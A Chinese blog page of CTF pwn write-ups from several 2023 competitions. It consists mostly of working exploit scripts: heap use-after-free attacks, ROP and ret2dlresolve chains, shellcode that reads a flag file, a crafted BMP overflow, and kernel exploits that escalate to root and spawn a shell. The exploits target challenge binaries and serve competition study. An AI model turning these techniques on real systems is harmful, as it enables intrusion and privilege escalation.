CTF-Writeup
本文最后更新于 424 天前,其中的信息可能已经有所发展或是发生改变。

打过的比赛如果写过wp就堆在这里了,没写的就咕咕咕了x

N1CTF Junior

PWNHUB专场

拿个邀请码开摆!

sh_v1_1

伪代码看着很吓人但是实际上是2.31板子堆

盲调是郝的

touch = add

cat = show

gedit = edit

ln ->构造一个uaf

rm = free

非常恶心的没给libc 2.31小版本貌似是9.9

from pwn import *
context(arch="amd64",os="linux",log_level="debug")
#p = process("./sh")
p = remote("121.40.89.206",34883)
elf = ELF("./sh")
libc=ELF('./libc-2.31.so')
def dbg():
	gdb.attach(p)
	pause()
 #touch = malloc cat = show gedit = exit cp = copy ln = copy(double free) rm = free
def add(num,com):
    p.sendafter('>>>>',b'touch ')
    p.sendline(str(num))
    p.sendline(com)
def free(num):
    p.sendafter('>>>>',b'rm ')
    p.sendline(str(num))
def edit(num,com):
    p.sendafter('>>>>',b'gedit ')
    p.sendline(str(num))
    p.sendline(com)
def show(num):
    p.sendafter('>>>>',b'cat ')
    p.sendline(str(num))
def uaf(num1,num2):
    p.sendafter('>>>>',b'ln ')
    p.send(str(num1))
    p.send(b' ')
    p.sendline(str(num2))
for i in range(0,7):
    add(i,b'a'*0x208)

add(7,b'abcd')
uaf(7,8)#leak libc_addr
add(9,b'abcd')
add(11,b'b'*0x208)#top chunk
for i in range(0,7):
    free(i)
free(7)
show(8)#leak libc


libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))-96-0x10-libc.sym["__malloc_hook"]
success("libc_base = " + hex(libc_base))
free_hook_addr = libc_base + libc.sym["__free_hook"]
system_addr = libc_base + libc.sym["system"]

free(9)
free(11)

for i in range(0,7):
    add(50+i,b'a'*0x200)
add(1,p64(0))
add(3,p64(0))
add(2,b'/bin/sh\x00')
uaf(1,10)
free(3)
free(1)
edit(10,p64(free_hook_addr))
log.success("libc_base=%x",libc_base)
log.success("free_hook_addr=%x",free_hook_addr)
log.success("system_addr=%x",system_addr)
add(6,p64(system_addr))
add(7,p64(system_addr))
free(2)
#free(2)
p.interactive()

kheap

uaf打 seq_operation 结构体,leak内核基址劫持start成员控制执行流

找一个gadget栈迁移即可,现在看来这exp写的好丑,不忍直视md

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <string.h>
size_t user_cs, user_ss, user_rflags, user_sp;
size_t vmlinux_base, commit_creds, prepare_kernel_cred;
size_t raw_vmlinux_base = 0xffffffff81000000;
size_t old_start = 0xffffffff8133f980;
typedef struct chunk
{
    size_t idx;
    size_t size;
} chunk;
long dev_fd;
void add(int fd, int idx)
{
    chunk args;
    args.idx = idx;
    args.size = 0;
    ioctl(fd, 0x10000, args);
}
void dele(int fd, int idx)
{
    chunk args;
    args.idx = idx;
    args.size = 0;
    ioctl(fd, 0x10001, args);
}
void sele(int fd, int idx)
{
    chunk args;
    args.idx = idx;
    args.size = 0;
    ioctl(fd, 0x10002, args);
}
void kWrite(int fd, void *buf)
{
    chunk args;
    args.idx = 0;
    args.size = buf;
    ioctl(fd, 0x6666, args);
}
void save_status()
{
    __asm__("mov user_cs, %cs;"
            "mov user_ss, %ss;"
            "mov user_sp, %rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    puts("\033[34m\033[1m[*] Status has been saved.\n\033[0m");
}
void getshell()
{
    system("/bin/sh");
}
int main()
{

    int offset = 0;
    long buf[4] = {0}; // seq_operations
    long *stack = mmap(0x39000000 - 0x5000, 0x10000, 0x7, 34, -1, 0);
    int fd = open("/dev/kheap", O_RDWR);
    if (fd < 0)
    {
        printf("error");
        exit(-1);
    }
    save_status();
    memset(stack, 0xFF, 0x100000);
    printf("stack:%p\n", stack);
    /*uaf*/
    add(fd, 0);
    sele(fd, 0);
    dele(fd, 0);
    /*uaf*/
    int stat = open("/proc/self/stat", O_RDONLY);
    if (stat < 0)
    {
        printf("error");
        exit(-1);
    }
    read(fd, buf, 0x20); // seq_operations
    long new_start = buf[0];
    offset = new_start - old_start;
    void (*commit_creds)(void *) = 0xffffffff810ce710 + offset;
    void *(*prepare_kernel_cred)() = 0xffffffff810cebf0 + offset;
    size_t pop_rdi = 0xffffffff82feb3d1 + offset;
    size_t pop_rsi = 0xffffffff8301c6ec + offset;
    size_t pop_rdx = 0xffffffff83025050 + offset;
    size_t swapgs = 0xffffffff8107c1b0 + offset;
    size_t iretq = 0xffffffff82fae1b9 + offset;
    size_t mov_rdi_rax = 0xffffffff830154bc + offset;
    size_t mov_rax_rdi = 0xffffffff83023c37 + offset;
    long *rop = 0x39000000;
    int i = 0;
    rop[i++] = pop_rdi;
    rop[i++] = 0;
    rop[i++] = prepare_kernel_cred;
    rop[i++] = mov_rdi_rax;
    rop[i++] = commit_creds;
    rop[i++] = swapgs;
    rop[i++] = 0;
    rop[i++] = iretq;
    rop[i++] = getshell;
    rop[i++] = user_cs;
    rop[i++] = user_rflags;
    rop[i++] = user_sp;
    rop[i++] = user_ss;
    buf[0] = 0xffffffff819f3361 + offset
    write(fd,buf,0x20);
    read(stat, buf, 0x10);
    return 0;

}

2023-RITSEC

ret2win

这个题好像有点问题。。。远程没回显。

from pwn import *
context(arch="amd64",os="linux",log_level="debug")
p = remote("ret2win.challenges.ctf.ritsec.club",1337) 
#p = process("./pwn")
elf = ELF("./pwn")
#libc = ELF("./libc.so.6")
def dbg():
    gdb.attach(p)
    pause()
backdoor = 0x4011C6
payload = b'a'*0x20 + p64(0) + p64(backdoor)
p.sendline(payload)
#p.sendlineafter(b'This is a simple pwn challenge...get to the secret function!!',payload)
p.interactive()

assembly-hopping

同上,栈溢出没有回显,不过这道题没backdoor,打不带leak的rop就可以。

from pwn import *
context(arch="amd64",os="linux",log_level="debug")
p = remote("assembly-hopping.challenges.ctf.ritsec.club",1337)
#p = process("./pwn") 
elf = ELF("./pwn")
rop = ROP(elf)
gadget1 = 0x401232
gadget2 = 0x401218
retn = 0x401016
gets_got = elf.got["gets"]
pop_rdi = 0x40123b 
dlresolve = Ret2dlresolvePayload(elf,'system',args=["/bin/sh"])
def dbg():
    gdb.attach(p)
    pause()
binsh = 0x404e50
payload1 = b'a'*0xd0 + p64(0) 
payload1 += p64(gadget1)
payload1 += p64(0)
payload1 += p64(1)
payload1 += p64(dlresolve.data_addr)
payload1 += p64(0)
payload1 += p64(0)
payload1 += p64(gets_got)
payload1 += p64(gadget2)
payload1 += p64(0)*7
payload1 +=  p64(retn)
rop.ret2dlresolve(dlresolve)
payload = payload1 + rop.chain()

#p.sendlineafter(b'Otherwise, pls give feedback of the challenges!!',payload)
p.sendline(payload)
pause()
p.send(dlresolve.payload)

p.interactive()

uaf

和题名一样~,有uaf没开PIE,打free_hook

from pwn import *
context(arch="amd64",os="linux",log_level="debug")
p = remote("host1.metaproblems.com",5600)
#p = process("./pwn")
elf = ELF("./pwn")
libc = ELF("./libc.so.6")
def dbg():
    gdb.attach(p)
    pause()
def add(idx ,size,content): #max = 0x20 size = 0x100
    p.sendlineafter('5. Exit', '1')
    p.sendlineafter('Firewall rule set. Enter your firewall rule here:',content)
def dele(idx):
    p.sendlineafter('5. Exit', '4')
    p.sendlineafter('Enter the firewall ID which you want to delete:', str(idx))
def edit(idx, data):#off by one
    p.sendlineafter('5. Exit', '3')
    p.sendlineafter('Enter the firewall ID which you want to edit:', str(idx))
    p.sendafter('Edit your new firewall rule here:', data)
def show(idx):
    p.sendlineafter('5. Exit', '2')
    p.sendlineafter('Enter the firewall ID which you want to view:', str(idx))

for i in range(8):
	add(i,0x100,b'a')
for i in range(8,-1,-1):
	dele(i)
show(0)
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 96 - 0x10 - libc.sym["__malloc_hook"]
free_hook = libc_base + libc.sym["__free_hook"]
system = libc_base + libc.sym["system"]
log.success("libc_base=%x",libc_base)
log.success("free_hook=%x",free_hook)
log.success("system=%x",system)
add(0,0x100,b'a')
add(1,0x100,b'a')
dele(1)
dele(0)
edit(0,p64(free_hook))
add(0,0x100,p64(system))
add(1,0x100,p64(system))
add(2,0x100,b'/bin/sh\x00')
log.success("free_hook=%x",free_hook)
dele(2)
p.interactive()

alphabet

很明显有个任意地址读,然后他在check过程中有把输入内容copy到堆里的,leak堆地址就可以任意地址读写了,之后是控制执行流,额一开始当时想的是可以打io,然后打栈上触发,后来发现ptr存在栈上,那么就可以分两次进行,第一次将free_got改为gets,然后第二次任意地址写把栈上的ptr写成ret地址,打rop就可以了~其实拿到任意地址写之后怎么打都行,比赛时候写的比较乱,可以找找其他师傅的参考。

from pwn import *
import struct
context(arch="amd64",os="linux",log_level="debug")
#p = remote()
p = process("./pwn") 
elf = ELF("./pwn")
libc = ELF("./libc.so.6")
retn = 0x40101a
def dbg():
	gdb.attach(p)
	pause()
def my_payload(heap_offset,stack_offset,data):#heap_offset -> leak stack_offset->write ROP
	pay = b'\x5a\x08'
	pay += p64(heap_offset-18 ,signed = True)+p64(stack_offset-18 ,signed = True)
	pay += data
	check_sum = 0
	
	for i in pay:
		check_sum += i ^ 0x55
		check_sum = check_sum & 0xff
	pay += p8(check_sum)
	return pay
'''
use use_packer ret to rop
'''
'''
step 1 leak libc
'''
p.sendlineafter(b'Running very important code and threads',my_payload(-0xF8,1,p64(0)))
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) 
libc_base = libc_base - 115 - libc.sym["free"]
log.success("libc_base=%x",libc_base)
pop_rdi = libc_base + 0x2a3e5
pop_rsi = libc_base + 0x2be51
pop_rdx_r12 = libc_base + 0x11f497
leave_ret = libc_base + 0x562ec
op = libc_base + libc.sym["open"]
rd = libc_base + libc.sym["read"]
wt = libc_base + libc.sym["write"]
'''
step 2 leak stack
'''
p.sendlineafter(b'Running very important code and threads',my_payload(-0x10,1,p64(0)))
stack_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
log.success("stack_addr=%x",stack_addr)

'''
step 3 leak heap calc的时候拷贝了数据,将上面的数据写到目标地址
'''
p.sendlineafter(b'Running very important code and threads',my_payload(-0x60,0,p64(0)))
p.recvuntil(b"characters: ") 
heap_addr = u64(p.recv(3).ljust(8,b'\x00')) + 0x1462
log.success("heap_addr=%x",heap_addr)
'''
rop -> bss
'''
def my_rop(addr,data): #ptr->addr str->addr
	global stack_addr
	pay = b'\x5a\x08'
	pay += p64(-18-(stack_addr-heap_addr),signed = True)
	pay += p64(-18-(stack_addr-addr),signed = True)
	pay += p64(data)
	check_sum = 0
	for i in pay:
		check_sum += i ^ 0x55
		check_sum = check_sum & 0xff
	pay += p8(check_sum)
	p.sendlineafter(b'Running very important code and threads',pay)
my_rop(0x404500-0x20,u64(b'flag.txt'))
my_rop(0x404500-0x18,u64(b'\x00\x00\x00\x00\x00\x00\x00\x00'))
my_rop(0x404500,pop_rdi)
my_rop(0x404508,0x404500-0x20)
my_rop(0x404510,pop_rsi)
my_rop(0x404518,0)
my_rop(0x404520,pop_rdx_r12)
my_rop(0x404528,0)
my_rop(0x404530,0)
my_rop(0x404538,op)
my_rop(0x404540,pop_rdi)
my_rop(0x404548,3)
my_rop(0x404550,pop_rsi)
my_rop(0x404558,0x404500+0x200)
my_rop(0x404560,pop_rdx_r12)
my_rop(0x404568,0x50)
my_rop(0x404570,0)
my_rop(0x404578,rd)
my_rop(0x404580,pop_rdi)
my_rop(0x404588,1)
my_rop(0x404590,pop_rsi)
my_rop(0x404598,0x404500+0x200)
my_rop(0x4045a0,pop_rdx_r12)
my_rop(0x4045a8,0x50)
my_rop(0x4045b0,0)
my_rop(0x4045b8,wt)

log.success("stack_addr=%x",stack_addr)

'''
rbp->bss  ? got-> leave ret?
free->gets ptr->rbp?
leave retn
'''
gets = libc_base + libc.sym["gets"]
free_got = elf.got["free"]
ptr_addr = stack_addr - 0x60
rbp = stack_addr - 0x30
my_rop(free_got,gets)
p.sendline("fuckabcdefg~~~")
my_rop(ptr_addr,rbp)
sleep(1)
p.sendline("fuckabcdefg~~~")
sleep(1)
pp = p64(0x404500-0x8) + p64(leave_ret)
p.sendline(pp)

p.interactive()

steghide

diff之后可以发现patch了一个=号,导致这个height为0的时候出现了栈溢出,之后是找不带leak且不带交互的栈溢出打法。

nightu师傅提醒了下,可以通过利用libc地址偏移一定,利用形如 add regs,value的gadget将某个函数的got写成调用函数的,到这里可以基本出思路了。

最终选择写got为syscall。

1.非常简单可以想到反弹shell 但是赛时本地打通后发现靶机疑似不出网(实际上赛后发现是docker的libc版本与本地搭建的不一致,所以要利用libc的打法基本都寄啦)

2.根据给出的server.py,不出网的情况下我们可以尝试将flag写入要输出的文件。这种方法的主要难度是拿到输出文件的名称,根据server.py,uuid是随机的

但是参数在栈中的相对偏移是一定的,所以可以通过这种方式拿到文件名

ps:如果文件名已知,利用system(cat flag >outfile)作用类似

from pwn import *
import struct
elf = ELF("./steghide")
libc = ELF("./libc-2.31.so")
context(arch="amd64", os="linux", log_level="debug")
'''
0x0000000000414d29 : pop rax ; pop rbx ; pop rbp ; ret
0x0000000000450e8b : pop rdi ; ret
0x000000000042cd0c : pop rdx ; ret
0x0000000000417f3e : pop rsi ; ret
0x00000000004066b3 : syscall
0x0000000000408c14 : mov byte ptr [rsi - 0x76b70001], dh ; ret
0x00000000004049cc : jmp rax
0x0000000000435dbd : jmp rsi
0x0000000000446cab : add dword ptr [rax], edi ; ret 0x1475
0x0000000000418411 : mov edi, dword ptr [rsi - 0x76b70002] ; ret 
0x0000000000414d29 : pop rax ; pop rbx ; pop rbp ; ret
0x0000000000428a9b : add byte ptr [rax], bh ; ret
0x0000000000404a39 : pop rbp ; ret
0x0000000000450e8b : pop rdi ; ret
0x0000000000412b3d : add dword ptr [rbp - 0x76b70001], edi ; ret
0x48b000 heap_addr
'''
shellcode = '''
/*open flag*/
lea rdi,[rip + 0x60 - 7]
xor rsi,rsi
push 2
pop rax
syscall
mov r8,rax

/* 找到argv里面的文件名称,这个需要计算出偏移.*/
mov rdi,[rsp + 0xdc0]
push 2
pop rax

push 0x42
pop rsi

push 0x1ff
pop rdx

syscall
mov r9,rax

/*利用sendfile系统调用,把一个文件的数据送到另一个文件*/
/*sendfile (out_fd,in_fd,offset,size)*/
mov rdi,r9         
mov rsi,r8
xor rdx,rdx
mov r10,0x60

mov rax,40
syscall

xor rdi,rdi
mov rax,60
syscall
'''

payload = asm(shellcode).ljust(0x60,b'A') + b'/steg/flag.txt\x00'
#len = 68
add_rbp_edi = 0x0000000000412b3d
pop_rdi = 0x0000000000450e8b
pop_rsi = 0x0000000000417f3e
pop_rdx = 0x000000000042cd0c
pop_rbp = 0x0000000000404a39
pop_rax_rbx_rbp = 0x0000000000414d29
add_rax_rdi = 0x0000000000446cab
syscall_offset = 0xEC78C
memcpy_got = 0x48A1F0
gettext_plt = elf.plt["gettext"]
gettext_got = elf.got["gettext"]
gettext_offset = 0x32040
memcpy_offset = 0x8C790
heap_addr = 0x48a000
jmp_rax = 0x00000000004049cc
# 创建像素数据
shellcode_len = 0x70
rop_len = 380

pixel_data = b'a' * 0x40 + p64(0) #填充
pixel_data += p64(pop_rbp) + p64(gettext_got + 0x76b70001) + p64(pop_rdi) + p64(syscall_offset - gettext_offset) + p64(add_rbp_edi) #gettext_got -> syscall
#step1 mprotect
mprotect = p64(pop_rax_rbx_rbp) + p64(0x0a) + p64(0) + p64(0) + p64(pop_rdi) + p64(heap_addr) + p64(pop_rsi) + p64(0x1000) + p64(pop_rdx) + p64(0x7) + p64(gettext_plt)
pixel_data += mprotect
#step2 lseek->shellcode
lseek = p64(pop_rax_rbx_rbp) + p64(0x8) + p64(0) + p64(0) + p64(pop_rdi) + p64(4) + p64(pop_rsi) + p64(0x1a6) + p64(pop_rdx) + p64(0) + p64(gettext_plt)
pixel_data += lseek
#step3 read->heap
read = p64(pop_rax_rbx_rbp) + p64(0x0) + p64(0) + p64(0) + p64(pop_rdi) + p64(4) + p64(pop_rsi) + p64(heap_addr) + p64(pop_rdx) + p64(shellcode_len) + p64(gettext_plt)
pixel_data += read
#step4 ret2shellcode
pixel_data += p64(heap_addr)

print(len(pixel_data))

pixel_data += payload

# 设置位图的宽度和高度
width = len(pixel_data)
height = 0

# 计算文件大小
file_size = 54 + width * 3

# 创建bmp文件头
bmp_header = b'BM' + struct.pack('<LHHLL', file_size, 0,
                                 0, 54, 40) + struct.pack(
                                     '<LLHHLL', width, height, 1, 24, 0, 0)

# 将所有数据组合在一起
data = bmp_header + pixel_data

print(len(bmp_header) )

# 打开一个新的文件并将数据写入其中
with open('test.bmp', 'wb') as f:
    f.write(data)

把生成的bmp上传即可,赛中远程寄啦因为libc偏移不一样.jpg

2023 D3CTF

d3op

openwrt,hint是diff一下,于是可以找到一个ubus挂了一个base64

直接上手看base64,decode存在栈溢出,想了一下是拿不到shell的,需要orw读出来,程序中有mprotect,官方wp的magic gadget很巧妙,设置x0就可以了

于是可以写出shellcode(后续的格式可以分三次write出来 第一次write前半部分 二次write flag 三次write 后半部分 nightu师傅后面提醒了一下我觉得这样优美多了,改了下payload)

栈溢出存在一点问题

v6下面有两个idx会被覆盖,直接乱写会寄~

简单粗暴一点直接调试到0x418要覆盖到这两个idx的时候把栈里的数据复制出来伪造一下就行。手算一下就是

input_idx = 0x404+0x4*5+0x4+1=0x41d

output_idx=(0x404+0x4*7)/3 * 4 + 0x4 = 0x584

from pwn import *
from os import system
import base64
context(arch='aarch64', os='linux', log_level='debug')
#p = process(["qemu-aarch64","-g","8888","-L","./","./base64", 'call', 'decode'])
p = process(["./base64", 'call', 'decode'])
def dbgg():
    gdb.attach(p)
    pause()
data_addr = 0x4a2098
magic_gadget = 0x4579A4
# call mprotect(x0[0x92] + x0[0x94], x0[0x93] - x0[0x94], 7
# set x0[0x94] = 0   x0[0x92] = addr x0[0x93] = 0x1000 x
ldr_x0 = 0x00000000004494b8 #: ldr x0, [sp, #0x10] ; ldp x29, x30, [sp], #0x20 ; ret
shellcode = shellcraft.aarch64.linux.open("/flag", 0)
shellcode += shellcraft.aarch64.linux.read(3, 0x4a2098+0x750, 0x100)
shellcode += shellcraft.aarch64.linux.write(1, 0x4a2098+0x200, 0x10-4)
shellcode += shellcraft.aarch64.linux.write(1, 0x4a2098+0x750, 0x50)
shellcode += shellcraft.aarch64.linux.write(1, 0x4a2098+0x300, 0x10)
shellcode += shellcraft.aarch64.linux.exit(0)

payload = asm(shellcode) 
payload = payload.ljust(0x200,b'\x00')
payload += b"{\"output\": \""
payload = payload.ljust(0x300,b'\x00')
payload += b'"}'
payload = payload.ljust(0x350,b'\x00')
payload += p64(0x4a2000)
payload += p64(0x5000)
payload = payload.ljust(0x418,b'\x00')
payload += b'\xff\x0f\x00\x00'
payload += b'\x1d\x04\x00\x00'
payload += b'\x84\x05\x00\x00'
payload += b'\xff\x0f\x00\x00'
payload += p64(0)
payload += p64(ldr_x0)
payload += p64(0) * 4
payload += p64(0)
payload += p64(magic_gadget)
payload += p64(data_addr - 0x490 + 0x350)#x0
payload += p64(data_addr) * 4
payload = payload.ljust(0x800,b'a')

payload = base64.b64encode(payload)

p2 = b'{"input":"' + payload + b'"}'
pause()
p.sendline(p2)
print(p2)
 
p.interactive()

但是这个payload会寄 因为有不可见字符,调了很久最后才发现是这个问题,以为是输出格式出现什么问题了擦

from pwn import *
from os import system

remote = 'http://127.0.0.1:9999/ubus'
 
payload = '7sWM0o4trPLuDMDy7g8f+IDzn9Lg/7/y4P/f8uD///LhAwCR4gMfqggHgNIBAADUYACA0gH9hNJBCaDyAiCA0ugHgNIBAADUIACA0gFThNJBCaDyggGA0ggIgNIBAADUIACA0gH9hNJBCaDyAgqA0ggIgNIBAADUIACA0gFzhNJBCaDyAgKA0ggIgNIBAADU4AMfqqgLgNIBAADUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB7Im91dHB1dCI6ICIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIn0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIEoAAAAAAABQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8PAAAdBAAAhAUAAP8PAAAAAAAAAAAAALiURAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKR5RQAAAAAAWB9KAAAAAACYIEoAAAAAAJggSgAAAAAAmCBKAAAAAACYIEoAAAAAAGFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWE='


shell = '''curl -v -d '{"jsonrpc":"2.0","id":tpzz, "method":"call", "params" : ["00000000000000000000000000000000", "base64", "decode", {"input" : "''' + payload + '''"}]}' ''' + remote
 
 
system(shell)

打完

2023 DASCTF Apr

four

未初始化造成的问题,学长说可以leak canary打,但是赛中出题人貌似只希望有预期解不给libc~

1.控制栈上参数为flag

2.利用write_to_fd open flag

3.利用read_from_fd read flag->bss

4.利用stack_overflow 溢出修改args[0]为bss_addr 用canary的报错带出flag

from pwn import*
p=remote("node4.buuoj.cn",26119)
#p = process("./pwn")
context.log_level = "debug"
def dbg():
    gdb.attach(p)
    pause()
#1.布置flag2.open3.read->bss4.栈溢出覆盖到argv[0]为bss地址
#1
p.sendlineafter(b'your choice : ',str(2))
p.sendlineafter(b'You can give any value, trust me, there will be no overflow',str(0x5FEF))
p.sendlineafter(b'Actually, this function doesn\'t seem to be useful',b'/flag\x00\x00\x00'*0xBFD)
p.sendafter(b'Really?',b'n')
#2
p.sendlineafter(b'your choice : ',str(3))
p.sendlineafter(b'Enter level:',str(1))
p.sendlineafter(b'Enter mode:',str(1))
p.sendlineafter(b'Enter X:',str(1))
p.sendlineafter(b'Enter a string:',b'a'*0x20)
p.sendlineafter(b'please input filename',b'output.txt')
p.sendlineafter(b'1. yes\n2.no',str(2))
#3
p.sendlineafter(b'your choice : ',str(4))
payload = b'~' + b'3'
payload += b'@' + b'a' + b'*'
payload += b'aaa'
payload += b':\x60\x25\x60' 
payload += b'\x00'
p.sendlineafter(b'info>>',payload)
#4
payload = p64(0x602560) * 0x30
p.sendlineafter(b'your choice : ',str(5))
p.sendafter(b'This is a strange overflow. Because of canary, you must not hijack the return address',payload)

p.interactive()

2023 GEEKGAME

mmsg

#include <fcntl.h>
#include <stddef.h>
#include <signal.h>

#define COMMIT_CREDS 0xffffffff8108d350
#define SEQ_OPS_0 0xffffffff8120fac0
#define INIT_CRED 0xffffffff8264c9a0 
#define POP_RDI_RET 0xffffffff8144a9cd
#define SWAP  0xffffffff81c00e54


#define MMSG_ALLOC 0x1111111
#define MMSG_COPY 0x2222222
#define MMSG_RECV 0x3333333
#define MMSG_UPDATE 0x4444444
#define MMSG_PUT_DESC 0x5555555
#define MMSG_GET_DESC 0x6666666
long dev_fd;
long uaf_fd;

struct mmsg_arg {
        unsigned long token;
        int top;
        int size;
        char *data; 
};

void readChunk(void *buf)
{
    struct mmsg_arg op = 
    {
        .data = buf
    };
    ioctl(dev_fd, MMSG_GET_DESC, &op);
}

void writeChunk(void *buf)
{
    struct mmsg_arg op = 
    {
        .data = buf
    };
    ioctl(dev_fd, MMSG_PUT_DESC, &op);
}
size_t user_cs,user_ss,user_rflags,user_sp;

void save_status()
{
    __asm__("mov user_cs,cs;"
            "mov user_ss,ss;"
            "mov user_sp,rsp;"
            "pushf;"
            "pop user_rflags;"
    );
    printf("Save status!\n");
}


size_t      buf[0x10];
size_t      swapgs_restore_regs_and_return_to_usermode;
size_t      init_cred;
size_t      pop_rdi_ret;
long        seq_fd;
void *      kernel_base = 0xffffffff81000000;
size_t      kernel_offset = 0;
size_t      commit_creds;
size_t      gadget;

int main(int argc, char ** argv, char ** envp)
{
    //signal(SIGSEGV,segsegv);
    save_status();
    dev_fd = open("/dev/mmsg", O_RDWR);
    uaf_fd = open("/dev/mmsg", O_RDWR);
    close(uaf_fd);

    seq_fd = open("/proc/self/stat", O_RDONLY);
    readChunk(buf);
    write(1,buf[0],8);
    printf("leak kaslr : %llx\n",buf[0]);
    puts("done!");


    kernel_offset = buf[0] - SEQ_OPS_0;


    printf("kernel_offse : 0x%llx\n",kernel_offset);
    kernel_base += kernel_offset;
    swapgs_restore_regs_and_return_to_usermode = SWAP + kernel_offset;
    init_cred = INIT_CRED + kernel_offset;
    pop_rdi_ret = POP_RDI_RET + kernel_offset;
    commit_creds = COMMIT_CREDS + kernel_offset;
    gadget = 0xffffffff81909b8c + kernel_offset; 

    buf[0] = gadget;

    writeChunk(buf);
    __asm__(
        "mov r15, 0xbeefdead;"
        "mov r14, pop_rdi_ret;"
        "mov r13, init_cred;" 
        "mov r12, commit_creds;"
        "mov rbp, swapgs_restore_regs_and_return_to_usermode;"
        "mov rbx, 0x999999999;"
        "mov r11, 0x114514;"
        "mov r10, 0x666666666;"
        "mov r9, 0x1919114514;"
        "mov r8, 0xabcd1919810;"
        "xor rax, rax;"
        "mov rcx, 0x666666;"
        "mov rdx, 8;"
        "mov rsi, rsp;"
        "mov rdi, seq_fd;"
        "syscall"
    );
    system("/bin/sh");
    return 0;
}

No Comments

Send Comment Edit Comment


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
